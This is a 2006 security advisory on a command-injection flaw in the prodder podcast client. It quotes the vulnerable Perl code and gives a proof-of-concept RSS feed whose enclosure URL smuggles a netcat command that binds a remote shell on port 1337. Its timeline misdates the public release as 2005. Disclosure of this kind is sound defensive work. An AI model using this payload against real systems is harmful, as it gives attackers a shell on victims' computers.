Prodder Remote Arbitrary Command Execution

Advisory: Prodder Remote Arbitrary Command Execution

RedTeam identified a security flaw in prodder which makes it possible
for a malicious podcast server to execute arbitrary shell commands on
the victim's client.


Product: Prodder
Affected Versions: All versions up to prodder-0.4
Fixed Versions: prodder-0.5
Vulnerability Type: Remote arbitrary command execution
Security-Risk: high
Vendor-Status: informed, fixed
Advisory-Status: public


Prodder is a command-line based Podcast client (or aggregator, receiver,
doohickey) written in Perl that runs on just about any *n*x system. It
implements a few very useful features that are lacking in many of the
existing tools, while remaining simple and light-weight.

(from prodder homepage)

Podcasting is the distribution of multimedia files over the internet.
Normally, a server is providing an RSS or Atom XML feed describing where
to get the multimedia files. The client parses the feed and may then
download the desired files.

More Details

When prodder is used to fetch a podcast, prodder will extract the URL of
the audio-file from the XML-file the server provides. Prodder then uses
Wget to fetch the file. The source code looks as follows:

446 # Actually get the file
447 my $wget_cmd = "wget -qc -a '$conf{'errorfile'}' "
448 . "--tries=3 --timeout=20 --random-wait '$enc_url' -P '$outdir'";
450 # Background the wgets if needed - this will assume
451 # the downloads dont fail (once they've started)
452 $wget_cmd .= " --background" if $conf{'background'};
456 print "Fetching item ($enc_url)... ";
457 if (! system($wget_cmd))

Unfortunately, $enc_url which holds the URL in line 448 is never
properly sanitized, so it is possible to include arbitrary shell
commands in the URL which will then be executed using system() (see line

Proof of Concept

A minimal malicious server rss feed may look as follows:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl"?>
<rss version="2.0">
<title>RedTeam Pentesting Example Malicious Server Feed</title>

<enclosure url="'; nc -e /bin/sh -l
-p 1337 &amp; ';#'"
length="241734" type="audio/mpeg" />

The URL above will open port 1337 via netcat on the victim's computer
and bind a shell to it. This is just one example of how to exploit the
vulnerability, as arbitrary commands can be included in the URL, but it
should illustrate the point.


Do not use prodder with untrusted servers.


Upgrade to prodder-0.5 immediately[1].

Security Risk

High, because arbitrary shell commands can be executed on the victim's
computer with the privileges of prodder (normally the user's


2006-05-18 Discovery of the problem
2006-05-19 Notification of the author
2006-05-19 Initial response of the author
2006-05-20 Fixed version of prodder is released
2005-05-22 Public release of the advisory without CVE
number because of public release by the
author. CVE will be appended when available.




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